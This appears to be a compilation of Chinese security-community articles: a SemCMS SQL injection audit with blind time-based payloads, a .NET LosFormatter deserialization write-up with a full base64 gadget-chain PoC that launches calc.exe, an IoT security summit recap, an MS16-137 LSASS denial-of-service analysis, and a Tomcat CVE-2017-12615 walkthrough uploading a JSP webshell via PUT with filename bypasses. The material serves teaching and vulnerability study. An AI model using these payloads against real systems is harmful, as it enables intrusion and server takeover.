首先需要变量$Class等于add，看看$Class能不能控制呢
`if (isset($_GET["Class"])){$Class = $_GET["Class"];}else{$Class="";}`
$Class可以通过GET传参控制，也就是需要传参Class=add
继续往上看，还需要什么条件才能进入注入点
OK，$CF也是可以控制的，至此条件应该全部满足，在代码上从上往下总结一下需要哪些条件
1、GET传参CF=catagory
2、GET传参Class=add
3、POST传参 category_name 不能等于数据表sc_categories中的category_name字段的值
4、POST传参 PID = PAYLOAD
开始构建数据包，由于POST传参，用上hackerbar，并打开seay的数据库监控插件
执行后发现类 AntDateProcess 没有找到，类 AntDateProcess
在Include/contorl.php文件中，找找看有没有文件同时包含了这两个文件
发现好像只有这个A_Admin/SEMCMS_Top_include.php文件包含了，去看看
可以看到，这个 A_Admin/SEMCMS_Top_include.php
下还包含了./Include/inc.php，在看看这个./Include/inc.php，下面正好有我需要的 Include/contorl.php ，
这样直接给SEMCMS_Top_include.php传参就行了
成功执行sleep(5)语句。
Payload：PID=1 and if(ascii(substr((select table_name from
information_schema.tables where table_schema=(database()) limit
0,1),1,1))=115,sleep(5),1)
### 三、第三处前台SQL注入
第三次sql注入与之前的触发条件不一样，不是由传参引发的
在include中web_inc.php文件的第54到第56行
代码的意思是获取url路径，并使用explode函数将字符串打散为数组，将数组的第一个字符串和第二个字符串传给然后web_language_ml函数，看看这个函数做了什么？
可以看到$web_urls会被放入数据库语句执行，由于$web_urls获取没有经过POST,GET,以及过滤函数，所以可以确定必定存在SQL注入。
然后我们发现index.php第一个包含的文件就是这个web_inc.php。
那么我们访问index.php对他进行传参就可以了。
果然执行了，试试一些特殊符号
很有点可惜的是双引号，大于号小于号因为GET传参会自动URL编码，在这个地方获取的时候，也只能获取到编码后的数据。在传进数据库时，url编码被当做字符串处理了，很庆幸单引号没有被解析为字符串，可以完成闭合，试试万能的sleep()吧
就连空格都被url编码传进去了， 如果通过burp直接传空格的话空格之后的东西会被直接”吃掉”，用/ _*/去代替空格也不行，/_
之后的也会被吃掉，%0a%0b之类的都不行，会被当成字符串处理，最后用了加号，成功执行的sleep()
继续执行下一步，尝试获取数据，先直接在数据库中试试要执行的语句，执行成功后再开始构建payload
将空格替换成加号
一个一个加号排除后发现，在”from”、表名、limit两边不能出现加号
可以用圆括号把表名和字段名括上代替加号，这样表名和”from”两边就不会有加号了
可行，但是limit两边的加号就没法解决了，那就不用limit吧，取巧用count(),返回查询到的条数
payload：192.168.2.128/index.php/1’or+if((select+count(table_name)from(information_schema.tables)where+table_schema=(database()))=15,sleep(5),1)#
有的朋友可能要好奇了，这里只能取出返回条数有什么用？我们是要获取数据。
那么我们不妨试一下我修改后的这条语句。
Payload:
[http://192.168.2.128/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#](http://192.168.2.128/index.php/1%E2%80%99or+if\(substr\(\(select+min\(table_name\)from\(information_schema.tables\)where+table_schema=\(database\(\)\)&&table_name!='sc_banner'\),1,1\)>'a',sleep\(15\),1\)#)
延时了15秒
很明显，我们可以通过这样的方法来获取数据库里面的信息。这里存在严重的前台SQL注入。 | 社区文章 |
# .NET高级代码审计（第十一课） LosFormatter反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0x00 前言
LosFormatter一般也是用于序列化和反序列化Web窗体页的视图状态(ViewState)，如果要把ViewState
通过数据库或其他持久化设备来维持，则需要采用特定的 LosFormatter
类来序列化/反序列化。它封装在System.Web.dll中，位于命名空间System.Web.UI下，微软官方的阐述是有限的对象序列化（LOS）格式专门为高度精简的ASCII格式序列化，此类支持序列化的任何对象图。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0x01 LosFormatter序列化
LosFormatter类通常用于对ViewState页面状态视图的序列化，看下面实例来说明问题，首先定义TestClass对象
定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
常规下使用Serialize得到序列化后的文件内容是Base64编码的
/wEypgEAAQAAAP////8BAAAAAAAAAAwCAAAAPldwZkFwcDEsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAARV3BmQXBwMS5UZXN0Q2xhc3MDAAAACWNsYXNzbmFtZQRuYW1lA2FnZQEBAAgCAAAABgMAAAADMzYwBgQAAAAHSXZhbjFlZRIAAAAL
## 0x02 LosFormatter反序列化
### 2.1、反序列化用法
反序列过程是将Base64编码数据转换为对象，通过创建一个新对象的方式调用Deserialize方法实现的，查看定义如下
笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下
反序列化后得到TestClass类的成员Name的值。
### 2.2、攻击向量—ActivitySurrogateSelector
由于之前已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第八课）
SoapFormatter反序列化漏洞》，不同之处是用了LosFormatter类序列化数据，同样也是通过重写ISerializationSurrogate
调用自定义代码得到序列化后的数据
按照惯例用LosFormatter类的Deserialize方法反序列化就可以成功触发计算器。
### 2.3、攻击向量—PSObject
由于笔者的windows主机打过了CVE-2017-8565（Windows
PowerShell远程代码执行漏洞）的补丁，利用不成功，所以在这里不做深入探讨，有兴趣的朋友可以自行研究。有关于补丁的详细信息参考：
<https://support.microsoft.com/zh-cn/help/4025872/windows-powershell-remote-code-execution-vulnerability>
### 2.4、攻击向量—MulticastDelegate
由于之前已经介绍了漏洞的原理，所以本篇就不再冗余的叙述，没有看的朋友请参考《.NET高级代码审计（第七课）NetDataContractSerializer反序列化漏洞》
## 0x03 代码审计视角
### 3.1、Deserialize
从代码审计的角度找到漏洞的EntryPoint，Deserialize有两个重载分别可反序列化Stream和字符串数据，其中字符串可以是原始的Raw也可以是文档中说的Base64字符串，两者在实际的反序列化都可以成功。
下面是不安全的代码：
攻击者只需要控制传入字符串参数Content便可轻松实现反序列化漏洞攻击，完整的Poc如下
/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
最后附上动态图效果
## 0x04 总结
实际开发中LosFormatter
通常用在处理ViewState状态视图，同ObjectStateFormatter一样在反序列化二进制文件时要注意数据本身的安全性，否则就会产生反序列化漏洞。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，更多的.NET安全和技巧可关注笔者的github。 | 社区文章 |
11月29日，MIDC • 2018
小米IoT安全峰会第二届在北京召开，这场峰会的主题是“万物互联·共筑安全生态”，演讲嘉宾阵容强大，内容涵盖IoT、安全、隐私、AI、智能门锁以及安全威胁等议题。
### 小米 IoT 安全思考与实践
**演讲嘉宾：小米首席安全官陈洋（cy07）**
小米自家与其生态链下的 IoT
设备五花八门，有牙刷、有电动玩具、对讲机、摄像头甚至是守护家里大门的智能门锁等，覆盖我们生活的方方面面。面对如此复杂庞大的产品品类，小米是如何保障它们安全的呢？相信这也是大家心里的疑问。
我们要考虑不同设备的攻击面，比如指纹锁有自学习功能，这个容易被贴片攻击；蓝牙通讯是否可以被劫持，篡改；NB-iot通讯也可以被伪基站劫持，发一些虚假消息和控制指令；GPS协议自身也存在安全缺陷，容易被伪造。以及硬件设备自身又会存在很多调试接口，在一定场景下会暴露权限。如果说每款设备都要解决这些问题的话，那工作量是相当巨大的。
面对这个问题，小米的方案很干练，那就是减少设备的攻击面。这里主要分为六个层面：
1. 认证层面 保证每台设备预制不同密钥，用户绑定产生唯一关联性的token，利用密钥与token的关系防止越权操作问题。
2. 通讯层面 要做流量加密与数据签名。
3. 硬件层面 尽可能的把调试接口关掉，并且引入安全芯片，安全存储密钥信息。
4. 固件层面 防止固件被篡改，所以验签与防降级的保护是基本要求。
5. 系统层面 禁止开启任何处miio外的通讯或管理功能服务端口，局域网是不可信的环境。
6. 应用层面 向开发者提供成熟可靠的SDK，减少额外开发带来新的安全风险。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/BheJBx6R0jpnMnHqCxG8jA>**
### 小米IoT隐私数据合规实践
**演讲嘉宾：小米隐私委员会的朱玲凤律师**
截止目前，小米 IoT
已经在全球布局超过200个国家和地区。在这个过程中，我们第一个遇到的问题就是隐私数据合规到底是不是必要的？来看一个小例子，LinkedIn
在俄罗斯被法院决定禁止提供服务，原因就是因为俄罗斯公民个人资料必须存储在本国服务器上，而 LinkedIn 却违反了这项法令。再看今年影响非常大对
Facebook 隐私门事件，它的数据以 API 的方式输出给第三方，拿数据的时候说是科研目的，但是最后却被用于政治大选作为定向广告使用，导致
Facebook 7月20号公布季报之后市值大幅度下跌。
公司内部的企业合规制度应该怎么建立呢？我根据经验整理了一些比较实用的方法论：
1. 建立数据保护官，我们称之为DPO
2. 记录。数据如何收集、使用，必须有记录
3. 数据保护影响评估
4. 安全保护措施
5. 数据泄露通知
6. 相应行业规则建立细分制度
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/z0HL-ijeYEdUnaHNHp5JOw>**
### IoT + AI + 安全 =？
**演讲嘉宾：腾讯安全平台部总监胡珀（lake2）**
这几年很明显就能感觉到 AI 与 IoT 技术发展迅猛，对我们整个安全行业其实是一个好消息。因为随着智能设备、AI
的发展，安全问题的影响也变的不同，比如过去的安全可能只是你的钱被盗了，那都有支付保险可以让厂商赔付。现在被盗的是我们的隐私，比如说AI音箱会放在卧室、客厅，处于用户的敏感生活区域；还有车联网安全问题对我们的人身安全会形成很大的威胁，所以说这些机遇对于我们安全从业者来说其实是个好事。
新技术的发展一定会带来新的安全问题，我们觉得问题主要来自以下方面：
1. 手机APP端问题
2. 硬件自身问题
3. 云端问题
4. APP到云端间的通讯问题
从大的方向来看的话主要是这四个方面潜在的安全问题，我们去挖掘智能设备漏洞，主要会从这四个方面出发。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/5daypoZnAHQiiE637r4dcA>**
### IoT 安全战地笔记
**演讲嘉宾：小米IoT安全实验室孟卓（FengGou）**
小米 IoT 目前已成为全球最大的消费级平台，所以大家都很好奇我们是怎么做的 IoT
安全。是不是每天焊焊串口、扫扫端口、抓抓接口这么简单，用户设备安全保障到不到位？针对这些疑问，孟卓将会为大家讲解小米IoT的安全思路、打法以及我们所付出的实际行动。从安全基线、设计、开发、信息的管控、第三方库以及硬件自身安全这六方面，为大家介绍小米到底是怎么去做设备安全的。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/X0Ytjb5XOZSf5alhNwBs-g>**
### 智能门锁，让居住更安全
**演讲嘉宾：云丁科技首席架构师叶云**
现如今越来越多的家庭都开始选用智能门锁，其中绝大部分用户应该是被它便捷的指纹开锁方式吸引，可以不带钥匙了。但今年的「小黑盒」事件将智能门锁的安全问题推到舆论的风口浪尖，大家开始质疑智能门锁的安全性相对传统机械锁大打折扣。来自小米爆款门锁鹿客品牌的首席架构师叶云，将分享锁具制造商角度的安全考量，到底什么样的智能锁是靠谱的。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/UIppQ3to1ip7sFTCTRZ3Ew>**
### IoT Reverse Engineering
**演讲嘉宾：美国东北大学安全研究员Dennis Giese**
大家一定很奇怪，为什么我会在这里演讲？这个缘分来自2017年的4月小米发布了一款扫地机器人，在查看他的配置时我惊奇的发现他竟然有三个处理器，而且价格非常便宜，于是我对这家公司产生了兴趣。
我为什么喜欢逆向 IoT
设备？因为可以发现漏洞去控制别人的设备，或者把企业的云控制服务断开自己实现私有云操控，再或者我可以对一些功能进行增强（新的特性、本地化语言等），并且能够给其他研究者分享一些思路。
IoT 设计架构里有三个重点，调试接口、固件与存储，都是容易出问题的地方。那比较常见的防护措施有哪些呢？
1. 固件来讲就是加密与验签
2. 硬件上会有一种叫做一次性存储芯片和eFuses熔断的产品
3. 调试口常见的方式就是禁用
4. SecureBoot 和Flash整体加密比较少使用，可能开发者觉得比较麻烦或需要额外的成本
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/_pzsmZZz9cTcOxIl0cDgGQ>**
### 大安全下的 IoT 安全威胁演变与应对
**演讲嘉宾：360黑客研究院负责人、独角兽团队创始人杨卿**
我通过从做无线电研究到现在应该有将近十年的时间，归纳出来这个领域的几大特征，一个是危害大；另外一个是修补难度大，修补周期长；最后一个是重视程度低。我们依然在使用一些历史悠久的无线电通信系统，都是一些没有经过足够加密的通信流，这是未来的一个威胁。另外还有ADS-B，蓝牙和无线里面有很多的安全隐患。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/5-JhM4xCHmldLMEzmvmC3g>**
### Beyond logical attacks
**演讲嘉宾：NXP首席安全技术专家Markus Hinkelmann 博⼠**
什么是逻辑攻击？这很好理解，比如有一台设备，黑客可以通过特定的接口向设备发送任意数据，比如命令、安装程序以及任何支持的功能，在我的定义里这些就是“逻辑”。beyond
logical
的意思就是黑客对这个设备“做了点事”，但是一些与众不同的事。本次议题主要关注两个在IoT设备上的侧信道攻击的例子，利用RSA算法的弱点进行简单电磁分析，以及让
IoT 设备进行核反应，构成一个ZigBee链式反应。
Markus表示，2017年网络攻击急剧升级，新形式的攻击层出不穷。他分享了一组数据：每天有100万新的恶意文件产生，每40秒就会有一个勒索软件攻击企业，企业平均需要197天才能侦破……对于IoT安全，Markus认为，IoT安全绝不仅仅是“逻辑安全”，通过远程或本地的方式对硬件的攻击往往使“更大规模”的攻击成为可能。
**【详细解读与PPT下载】：<https://mp.weixin.qq.com/s/lNO3epqBnCp8R4nfPA_Qsg>**
* * * | 社区文章 |
# 【漏洞分析】MS16-137：LSASS远程拒绝服务漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：coresecurity.com
原文地址：<https://www.coresecurity.com/blog/unpatched-lsass-remote-denial-service-ms16-137>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：140RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
在2016年11月8日，Microsoft发布了Windows身份验证方法（MS16-137）的安全更新，其中包括3个CVE：
虚拟安全模式信息泄露漏洞[CVE-2016-7220](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7220)
本地安全机构子系统的拒绝服务漏洞[CVE-2016-7237](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7237)
Windows NTLM特权提升漏洞[CVE-2016-7238](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7238)
**CVE-2016-7237**
具体CVE-2016-7237而言，相应的补丁被应用到影响LSASS服务的“lsasrv.dll”上面。
该漏洞影响所有Windows版本（包括32位和64位），并且在修补程序发布的同一天，LaurentGaffié（[@PythonResponder](https://twitter.com/PythonResponder)）同步提供了更为详细的报告。同时，他还发布了触发该漏洞的概念验证（PoC）代码。
关于更加详细的说明，请访问：
<http://g-laurent.blogspot.com.ar/2016/11/ms16-137-lsass-remote-memory-corruption.html>
下面是PoC的下载地址：
<https://github.com/lgandx/PoC/tree/master/LSASS>
通过利用这个PoC，我们发现在Windows Server 2008 R2和Windows 7也存在这个漏洞：
**
**
**漏洞分析**
简而言之，该漏洞被报告为远程拒绝服务，其中崩溃是NULL指针引用所导致的。
当LSASS服务崩溃时，攻击目标将在60秒后自动重新启动，对于生产服务器来说，这是无法忍受的。
下面文字引自该报告：
“这允许攻击者远程分配一个巨大的内存块，用来存放不超过20000字符的消息…”
当攻击目标能够接收如此巨大（具体由“Simple Protected Negotiation”确定）的博文时，攻击者基本上就可以通过“Session
Setup Request”数据包，使用SMB1或SMB2来利用这个漏洞。
通过下图可以看出，它的具体大小为0x80808080：
这个尺寸（当然是不怀好意的）将被“NegGetExpectedBufferLength”函数所读取，它是“NegAcceptLsaModeContext”的后继：
如果这个函数的返回值为0x90312（SEC_I_CONTINUE_NEEDED），那么"LsapAllocateLsaHeap"函数就会据此分配一个硕大的内存块。
由于分配的内存块接近4GB，所以可能会失败。
如果分配失败，就为出现NULL指针引用创造了一个必要条件。
**代码对比**
通过将“lsasrv.dll”的v6.1.7601.23545版本与v6.1.7601.23571版本进行比对，我们可以在“NegpBuildMechListFromCreds”函数中找到CVE-2016-7237的修复代码：
简单来说，修复代码会检查包含指向CRITICAL_SECTION对象的指针的结构指针是否为NULL。
由此看来，修复代码的人对于该漏洞存在一些误解，因为根据LaurentGaffié发布的PoC来看，安全问题不在结构指针中，而是在这个结构指向的CRITICAL_SECTION对象的一个字段中，当分配过大的内存块失败的时候，它就会变成NULL！
所以，NULL指针的检查应该在这里：
**能触发Windows 8.1/10中的漏洞吗？**
虽然公开的PoC无法在Windows 8.1或Windows
10中触发该漏洞，但研究人员和Microsoft也做出声明，指出这些Windows版本也容易受到攻击。
让我们看看这到底是为什么。
正如我前面所说，“NegGetExpectedBufferLength”函数会从SMB数据包读取这个邪恶的尺寸值。
然后，该函数必须返回0x90312值（SEC_I_CONTINUE_NEEDED），从而造成分配的内存过大而失败。
不幸的是，在最新的Windows版本中，已经在此函数中添加了一个额外的检查，即将这些恶意的尺寸与0xffff（64KB）进行比较。
如果恶意尺寸大于0xffff（64KB），那么这个函数不会返回0x90312值，而是返回0xC00000BB值（STATUS_NOT_SUPPORTED），这样，就不会引起内存分配失败了，所以这个漏洞就不会触发。
另一方面，如果我们使用小于或等于0xffff（64KB）的恶意尺寸，内存分配也不会失败，自然也不会触发该漏洞。
那么，为什么Windows 8.1和Windows 10易受攻击呢？
虽然内存分配失败时会触发这个bug，但这并不意味着分配的内存必须是巨大的，关键在于LSASS服务没有足够的可用内存来进行分配。
实验证明，只要在Windows 7和2008 R2中建立几个SMB连接并发送值为0x1000000（16 MB）的恶意内存尺寸，就会触发这个漏洞。
问题是，对于最新的Windows版本来说，是不会使用这种尺寸的，因为正如我前面所说的，其上限为64KB。
因此，触发这个漏洞的唯一方法应该是在LSASS服务中耗尽其内存。为了达到这个目的，可以这样做：在LSASS认证过程中找出可控制的malloc，并创建大量连接来耗尽其内存，直到“LsapAllocateLsaHeap”函数失败为止。也许，这种内存耗尽方法可以很容易地在本地情况下实现。
**结束语**
当我理解了公开的PoC对Windows 10无效的原因之后，我突然意识到，发布的这个漏洞补丁根本就不起作用。
令人惊讶的是，公开漏洞利用代码公布至今已经两个多月了，有那么多的Windows用户在使用这个补丁来提供保护，但是根本没有人注意到这个问题。
直到1月10日，Microsoft发布了一个新的安全公告，其中包括受MS17-004漏洞影响的系统的补丁。
如果我们对比最新的“lsasrv.dll”版本（v6.1.7601.23642），我们可以看到，它是通过修改“NegGetExpectedBufferLength”函数来修复该漏洞的。
简单来说，Windows 8.1和Windows
10上针对数据包的64KB上限的安全检查，现在已添加到其余的Windows版本上了，并且同样使用64KB作为数据包大小的上限。 | 社区文章 |
# 简介
Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta
项目中的一个核心项目，由[Apache](https://baike.baidu.com/item/Apache/6265)、Sun
和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat
5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java
爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器。
Tomcat 服务器是一个免费的开放源代码的Web
应用服务器，属于轻量级应用[服务器](https://baike.baidu.com/item/服务器)，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP
程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache
服务器，可利用它响应[HTML](https://baike.baidu.com/item/HTML)（[标准通用标记语言](https://baike.baidu.com/item/标准通用标记语言/6805073)下的一个应用）页面的访问请求。实际上Tomcat是Apache
服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。
诀窍是，当配置正确时，Apache 为HTML页面服务，而Tomcat 实际上运行JSP
页面和Servlet。另外，Tomcat和[IIS](https://baike.baidu.com/item/IIS)等Web服务器一样，具有处理HTML页面的功能，另外它还是一个Servlet和JSP容器，独立的Servlet容器是Tomcat的默认模式。不过，Tomcat处理静态[HTML](https://baike.baidu.com/item/HTML)的能力不如Apache服务器。目前Tomcat最新版本为10.0.5。
# CVE-2017-12615
CVE-2017-12615对应的漏洞为任意文件写入，主要影响的是Tomcat的7.0.0-7.0.81这几个版本
## 漏洞原理
由于配置不当（非默认配置），将配置文件`conf/web.xml`中的`readonly`设置为了
false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀的上传
根据描述，在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码
通过阅读 conf/web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT /
DELETE 进行文件操控
## 漏洞复现
这里使用vuluhub的docker进行漏洞复现，这里就不详细介绍环境搭建了
首先进入CVE-2017-12615的docker环境
sudo docker-compose up -d
docker ps //查看docker环境是否启动成功
这里首先进入docker里查看一下`web.xml`的代码，可以看到这里`readonly`设置为`false`，所以存在漏洞
sudo docker exec -ti ec bash //进入docker容器
cat conf/web.xml | grep readonly
访问下8080端口，对应的是`Tomcat 8.5.19`
在8080端口进行抓包，这里发现是一个`GET`方法
这里首先测试一下，改为`PUT`方法写入一个`test.txt`，这里看到返回201，应该已经上传成功了
PUT /test.txt HTTP/1.1
testpoc
这里进入docker查看一下已经写入成功了
cd /usr/local/tomcat/webapps/ROOT
ls
之前说过，使用PUT方法上传任意文件，但限制了jsp后缀的上传，这里首先使用PUT方法直接上传一个冰蝎的jsp上去，发现返回的是404，应该是被拦截了
这里就需要进行绕过，这里绕过有三种方法
1.Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.Windows NTFS流
Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的，也会被去除（Linux/Windows）
Put/a001.jsp/http:/1.1
首先使用`%20`绕过。我们知道`%20`对应的是空格，在windows中若文件这里在jsp后面添加`%20`即可达到自动抹去空格的效果。例如:`"phpinfo.php
"`Windows会自动去掉末尾的空格变成`"phpinfo.php"`
这里看到返回201已经上传成功了
进入docker查看一下，确认是上传上去了
第二种方法为在jsp后缀后面使用`/`，因为`/`在文件名中是非法的，在windows和linux中都会自动去除。根据这个特性，上传`/ice1.jsp/`，看到返回201
进入docker查看发现已经上传成功
第三种方法就是使用Windows NTFS流，那么什么是NTFS流呢？
> 流文件，即NTFS交换数据流（alternate data
> streams，简称ADS），是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都可以存在多个数据流，就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息，虽然我们无法看到数据流文件，但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单，命令为“宿主文件:准备与宿主文件关联的数据流文件”。
>
>
> 这是一个全新的概念，但是在NTFS诞生之时就早已有之，我们平时也接触到了，但是并不知道是流文件在起作用，那么，比如我们下载个程序，下载完成后，运行他会提示一个对话框要不要运行他，还有一个复选框，“以后都不用提示了”。这个就是流文件起的作用，如果我们删除他的流文件，这个对话框就不会再提示了。但是，流文件，在Windows中是没有提供命令和方法去操作他，我们看不到，也无法修改，不过微软的Sysinternals工具包中的streams程序专门提供了对流文件的操作，另外ARK软件也提供了相关功能，但仅仅是让你看到这个文件的存在以及删除这个文件，一共2个功能。
那么这里我们用到NTFS文件系统的存储数据流的一个属性DATA ，就是请求 a.asp 本身的数据，如果a.asp 还包含了其他的数据流，比如
a.asp:lake2.asp，请求 a.asp:lake2.asp::$DATA，则是请求a.asp中的流数据lake2.asp的流数据内容。
在jsp后面添加`::$DATA`，看到返回201，上传成功
进入docker验证一下
这里随便连接一个jsp即可拿到webshell
# CVE-2020-1938
